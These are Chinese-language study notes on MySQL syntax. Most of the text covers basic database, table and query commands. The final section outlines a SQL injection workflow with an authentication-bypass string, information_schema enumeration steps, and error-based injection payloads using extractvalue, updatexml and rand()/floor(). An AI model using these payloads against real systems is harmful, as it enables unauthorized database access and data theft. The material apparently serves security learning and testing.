sql笔记
show databass 显示所有数据库
show tables 显示当前数据库所有表
use db_name(数据库名字);选择某个数据库
desc table_name:展示字段信息;
select 字段名 from 表名 (也可以写数据库名.表名)
create 类 名
字段类型有,int,varchar(100)char(10)text double
二:数据库操作:
增:
数据库层面:
创建数据库:create database db_name;
数据表层面:
创建数据表:create table
table_name
(字段一的名字,字段一的类型)
(id int,
name varchar(100)),
charset utf8;
添加字段:
alter table (表名)table_name add (字段名字)column_type
数据层面:
插入数据:
inset into 表名
(column 1,column 2
values
(1,‘张三’ )
删:
数据库层次:
删除数据库:drop databass db_name;
数据表层次:
删除数据表:drop table table_name;
数据层面:
删除数据:delete from table_name where 条件(例如学号=2);
改:
数据库层面:
alter database 数据库名字 charset 新的编码规则。
数据表层面:
修改数据表名字:
alter table table_name rename new_table_name;
修改字段名字:
alter table table_name change old_column_name new_column_name column_type
数据层面:
更改数据内容:
update table_name set column1 = value1,column2 = value2
查询:
数据库层面:
show database;
数据表层面:
show tables;
数据层面:
select 内容
[from]
[where]
[group by]
[having]
[order by]
[limit]
from:
(1)内容为表达式或者固定的数据:
select 1;
(2)as
select 1 as one;
(3)from
从哪里查就from哪里
(4)distinct
select distinct 字段1,字段2 ..from 表;
where:
where 后接条件
算术运算符
比较运算符 '='等于 '<>'不等于
逻辑运算符
模糊查找运算符:like '_'代替一个 '%'代替0个或者n个任意字符
'_'
'%'
正则匹配运算符:regexp
https://blog.csdn.net/qq_36761831/article/details/82862135
group by:
用所给字段进行分组
group by 字段1,字段2...;
order by:
对前面的结果进行排序行
order by 字段1,【desc】...
limit 子句:
对前面的查询结果进行一个限制输出
limit 起始行号,行数
union 联合查询:
是一种结果纵向堆叠的查询;
举例:
information_schema库的重要性
(系统自带的库)包含所有表名和字段名---columns tables
table_schema:库名
table_name:表名
column_name:字段名
普通SQL注入流程:
无waf防火墙:(网站应用防火墙)
测试发现有注入点:
某后端语句为:
select ****from 一个库里面的一张表 where id='用户输入'
0' or 1=1-- --+ -- # 万能密码
step 1 测试字段数量:order by
step 2 爆库名字
select database()
show database;
step 3 爆表的名字
select table_name from information_schema.tables where table_schema=""
step 4 爆字段信息
select column_name from information_schema.columns where table_name=""
step 5 查询敏感信息
select 字段 from 表名
报错注入:
updatexml()函数
extractvalue()函数
牵连个院里相似而且用的广泛,形式比较简单,推荐
id=1 and(or) extractvalue(1, concat('~' sql_inject) ) #
and(or) updatexml(1, concat(0x7e,sql_inject), 1) #
rand()+floor()
原理:利用group by 分组的性质报错
and(select 1from (select count(*),concat(sql,floor(rand(0)*2)x from information_schema.tables group by x)a);